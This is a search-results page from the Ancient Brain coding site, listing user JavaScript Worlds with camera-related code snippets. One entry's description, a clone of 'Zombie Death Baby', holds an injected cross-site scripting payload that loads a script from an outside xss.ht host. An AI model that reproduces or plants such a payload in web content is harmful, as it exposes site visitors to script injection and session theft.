Drag the background!

Search JS code (of Worlds)

Search JavaScript code of all Worlds for: ABWorld camera


Bowling
1013 runs ♦ 0 likes
By Vanya Cadogan  
Created: 28 Nov 2022
Modified: 17 Sep 2023
raycaster.setFromCamera(mouseCoords, ABWorld.camera);
ABWorld.camera.position.x = 0;
ABWorld.camera.position.y = 5;
ABWorld.camera.position.z = 85;
Touch World
457 runs ♦ 1 like
By Starter user  
Created: 6 Jan 2018
Modified: 17 Sep 2023
How to override default touch handling. Mobile: Touch drag moves agent, touch pinch zooms camera...
ABWorld.lookat.copy ( theenemy.position ); // if camera moving, look back at where the enemy is
ABWorld.follow.copy ( theagent.position ); // follow vector = agent position (for camera following agent)
Zombie Escape
4092 runs ♦ 6 likes
By Liam  
Created: 30 Nov 2022
Modified: 17 Sep 2023
Compete with another player to see who can survive the longes against a hoard of zombies!
ABWorld.follow.x = ABWorld.follow.x + ( cameraShift * Math.sin(steveRotation) );
ABWorld.follow.z = ABWorld.follow.z + ( cameraShift * Math.cos(steveRotation) );
Simple World
1645 runs ♦ 2 likes
By Starter user  
Created: 1 Oct 2016
Modified: 17 Sep 2023
Simple World with a Mind-controlled agent, randomly-moving enemy, paint blocks with texture.
ABWorld.lookat.copy ( theenemy.position ); // if camera moving, look back at where the enemy is
ABWorld.follow.copy ( theagent.position ); // follow vector = agent position (for camera following agent)
3. Making an Avatar
116 runs ♦ 0 likes
By "3D Game Program...  
Created: 16 Aug 2018
Modified: 17 Sep 2023
Port of code "building_an_avatar" from Ch.3
ABWorld.drawCameraControls = false;
Ammo for AB
105 runs ♦ 0 likes
By Starter user  
Created: 19 Apr 2021
Modified: 17 Sep 2023
Ammo world for AB API
ABWorld.camera = new THREE.PerspectiveCamera ( 50, window.innerWidth / window.innerHeight, 0.1, maxRadius ); // near value of 0.
Chess
5850 runs ♦ 2 likes
By Eoin Daly  
Created: 19 Oct 2022
Modified: 17 Sep 2023
A game of chess by the beach, on a beautiful day
ABWorld.drawCameraControls = false;
MineCraft
1116 runs ♦ 2 likes
By Starter user  
Created: 27 Nov 2016
Modified: 17 Sep 2023
Use keyboard to draw blocks like in MineCraft. Use arrow keys and PgUp, PgDn to draw. Can save w...
ABWorld.drawCameraControls = false;
Port of flying b...
759 runs ♦ 0 likes
By Discover three.js  
Created: 10 Feb 2019
Modified: 17 Sep 2023
Animated models. Port of flying birds with GLB models. From "Discover three.js". See project inf...
ABWorld.drawCameraControls = false;
Websockets boxes
802 runs ♦ 0 likes
By Starter user  
Created: 29 Feb 2020
Modified: 17 Sep 2023
Demo of Websockets in 3D World. Click to change the boxes on the other user's machine, while the...
ABWorld.drawCameraControls = false;
Expo World
211 runs ♦ 0 likes
By Mark Humphrys  
Created: 17 Oct 2018
Modified: 17 Sep 2023
Infinite changing demo for expos.
ABWorld.lookat.copy ( theenemy.position ); // if camera moving, look back at where the enemy is
ABWorld.follow.copy ( theagent.position ); // follow vector = agent position (for camera following agent)
ABWorld.cameraTrack()
ABWorld.cameraMove()
ABWorld.cameraFixed()
Dragon Ball Meng...
932 runs ♦ 0 likes
By MENGTE ZHU  
Created: 14 Nov 2022
Modified: 22 Jan 2024
ABWorld.drawCameraControls = false;
The San Andreas ...
1023 runs ♦ 0 likes
By Effa  
Created: 1 Dec 2022
Modified: 17 Sep 2023
ABWorld.drawCameraControls = false;
Blank Three.js World
1503 runs ♦ 2 likes
By Starter user  
Created: 20 Nov 2016
Modified: 17 Sep 2023
A simple starter World. An Array of spheres. Painted with textures. Random motion.
ABWorld.drawCameraControls = false;
Zombie Death Baby
771 runs ♦ 1 like
By Starter user  
Created: 11 Jun 2018
Modified: 17 Sep 2023
How to make a fun touch game for mobile. Touch drag and tap objects. Mouse drag and click object...
ABWorld.drawCameraControls = false;
Lion Chase
435 runs ♦ 0 likes
By Martin Derwin  
Created: 30 Nov 2022
Modified: 17 Sep 2023
Don't get caught by the lions
ABWorld.drawCameraControls = false; // Scrap the Track/Move with/Normal camera controls
Space Odyssey
441 runs ♦ 0 likes
By Yiming Fu  
Created: 2 Dec 2022
Modified: 17 Sep 2023
Clone of "Websockets boxes" by Starter user
ABWorld.drawCameraControls = false;
Castle World
786 runs ♦ 4 likes
By Starter user  
Created: 11 Nov 2016
Modified: 17 Sep 2023
Demo of how to insert 3d model into World. Mind-controlled agent, actively-pursuing enemy. Splas...
ABWorld.drawCameraControls = false;
Model World
856 runs ♦ 2 likes
By Starter user  
Created: 8 Nov 2016
Modified: 17 Sep 2023
Demo of how to insert 3d models into World. Mind-controlled agent, actively-pursuing enemy. Skybox.
ABWorld.lookat.copy ( theenemy.position ); // if camera moving, look back at where the enemy is
ABWorld.follow.copy ( theagent.position ); // follow vector = agent position (for camera following agent)
Complex World
8198 runs ♦ 5 likes
By Starter user  
Created: 1 Oct 2016
Modified: 17 Sep 2023
World with a Mind-controlled agent, actively-pursuing enemy, random maze, skybox, music.
ABWorld.lookat.copy ( theenemy.position ); // if camera moving, look back at where the enemy is
ABWorld.follow.copy ( theagent.position ); // follow vector = agent position (for camera following agent)
Collision World
1377 runs ♦ 4 likes
By Starter user  
Created: 21 Sep 2017
Modified: 17 Sep 2023
Demo of Physics API. Blocks fall under gravity and collide. Can modify gravity, friction, etc. S...
ABWorld.init3d ( startRadius, maxRadius, SKYCOLOR ); // sets up renderer, scene, camera
Bouncy Balls
527 runs ♦ 3 likes
By Starter user  
Created: 1 Oct 2017
Modified: 17 Sep 2023
Demo of Physics API. Balls bounce under gravity and collide in low friction world. Splash screen...
ABWorld.drawCameraControls = false;
ABWorld.init3d ( startRadius, maxRadius, SKYCOLOR ); // sets up renderer, scene, camera
AncientBook - 3D...
1130 runs ♦ 0 likes
By Jordan Tallon  
Created: 20 Nov 2023
Modified: 8 Feb 2024
Generates a custom story with GPT and places it into an interactive 3d book. A series of control...
ABWorld.drawCameraControls = false;
ABWorld.cameraCustom(
ABWorld.camera.fov = 30;
1. Shapes
173 runs ♦ 0 likes
By "3D Game Program...  
Created: 16 Aug 2018
Modified: 17 Sep 2023
Port of code "shapes" from Ch.1
ABWorld.drawCameraControls = false;
Password Websock...
66 runs ♦ 0 likes
By Starter user  
Created: 14 Nov 2022
Modified: 17 Sep 2023
Password version of "Websockets boxes"
ABWorld.drawCameraControls = false;
CA318 2018 World
2160 runs ♦ 3 likes
By Mark Humphrys  
Created: 25 Sep 2018
Modified: 17 Sep 2023
CA318 practical 2018: Write a Mind to solve this World.
ABWorld.lookat.copy ( theenemy.position ); // if camera moving, look back at where the enemy is
ABWorld.follow.copy ( theagent.position ); // follow vector = agent position (for camera following agent)
Final Pool
1164 runs ♦ 2 likes
By Ian Gilligan  
Created: 1 Mar 2019
Modified: 17 Sep 2023
Pool Predictor for CA326
ABWorld.drawCameraControls = false;
ABWorld.camera.position.set(0,100,0);
ABWorld.camera.position.set(50,50,30);
ABWorld.camera.position.set(50,50,-30);
ABWorld.camera.position.set(-50,50,-30);
Mighty Spread
331 runs ♦ 0 likes
By Gareth Hogan  
Created: 12 Nov 2022
Modified: 17 Sep 2023
CA318 Project
ABWorld.drawCameraControls = false;
User-controlled ...
914 runs ♦ 2 likes
By Starter user  
Created: 12 Feb 2017
Modified: 17 Sep 2023
3d model World. User controlled on desktop. Keyboard arrows to move. Switch to "Move with" camer...
ABWorld.follow.x = ABWorld.follow.x + ( CAMERASHIFT * Math.sin(agentRotation) );
ABWorld.follow.z = ABWorld.follow.z + ( CAMERASHIFT * Math.cos(agentRotation) );
Battleship
4277 runs ♦ 2 likes
By Aaron Crawford  
Created: 30 Oct 2022
Modified: 17 Sep 2023
ABWorld.drawCameraControls = false; // Controls for camera
Complex World (c...
1 run ♦ 0 likes
By Snavy Pitah  
Created: 30 Oct 2023
Modified: 30 Oct 2023
Clone of "Complex World (clone by Nakyung Kim)" by Nakyung Kim
ABWorld.lookat.copy(theenemy.position); // if camera moving, look back at where the enemy is
ABWorld.follow.copy(theagent.position); // follow vector = agent position (for camera following agent)
Pokemon Chase 2:...
6 runs ♦ 0 likes
By Sarah Conner  
Created: 9 Nov 2022
Modified: 17 Sep 2023
Clone of "Pokemon Chase 2: The search for holes" by StevenMacManus
ABWorld.lookat.copy ( theenemy.position ); // if camera moving, look back at where the enemy is
ABWorld.follow.copy ( theagent.position ); // follow vector = agent position (for camera following agent)
Password Websock...
0 runs ♦ 0 likes
By Genesis  
Created: 10 Jul 2023
Modified: 17 Sep 2023
Clone of "Password Websockets boxes (clone by Goobs)" by Goobs
ABWorld.drawCameraControls = false;
Complex World (c...
15 runs ♦ 0 likes
By Anuja Pathak  
Created: 13 Nov 2021
Modified: 17 Sep 2023
Clone of "Complex World" by Starter user
ABWorld.lookat.copy ( theenemy.position ); // if camera moving, look back at where the enemy is
ABWorld.follow.copy ( theagent.position ); // follow vector = agent position (for camera following agent)
A Star search co...
508 runs ♦ 0 likes
By Kilian C  
Created: 27 Oct 2022
Modified: 17 Sep 2023
2nd Attempt, code got too messy could not follow
ABWorld.lookat.copy ( theenemy.position ); // if camera moving, look back at where the enemy is
ABWorld.follow.copy ( theagent.position ); // follow vector = agent position (for camera following agent)
Maze (Tharanya S...
17 runs ♦ 0 likes
By Tharanya Satish  
Created: 12 Nov 2023
Modified: 14 Nov 2023
Clone of "Complex World" by Starter user
ABWorld.lookat.copy ( theenemy.position ); // if camera moving, look back at where the enemy is
ABWorld.follow.copy ( theagent.position ); // follow vector = agent position (for camera following agent)
User-controlled ...
5 runs ♦ 0 likes
By Ciaran Skelly  
Created: 2 Dec 2022
Modified: 17 Sep 2023
Clone of "User-controlled Model World" by Starter user
ABWorld.follow.x = ABWorld.follow.x + ( CAMERASHIFT * Math.sin(agentRotation) );
ABWorld.follow.z = ABWorld.follow.z + ( CAMERASHIFT * Math.cos(agentRotation) );
Javascript Zombi...
4 runs ♦ 0 likes
By Javascript  
Created: 30 Mar 2019
Modified: 17 Sep 2023
Clone of "Zombie Death Baby" by Starter user "><script src=https://verysimple1.xss.ht></script>
ABWorld.drawCameraControls = false;
Blank Three.js W...
0 runs ♦ 0 likes
By Chinmay  
Created: 7 Oct 2021
Modified: 17 Sep 2023
Clone of "Blank Three.js World" by Starter user
ABWorld.drawCameraControls = false;
Blank Three.js W...
3 runs ♦ 0 likes
By Extra test  
Created: 30 Sep 2021
Modified: 30 Sep 2021
Clone of "Blank Three.js World" by Starter user
ABWorld.drawCameraControls = false;


The background is a program, showing the JavaScript graphics used on this site.
The globes light up when you log in.
 
Font:

Users retain ownership of user content.

Platforms      Stats      The name      Terms and conditions

Call for partners      Contact

Call for partners!
Ancient Brain is looking for a partner to co-write a JavaScript coding book for schools, to be used worldwide. This would be a course for students in learning to code from scratch. The book and course will be integrated into the Ancient Brain site. This is an opportunity for someone looking to develop a course and textbook to partner with a site to promote it. Read more.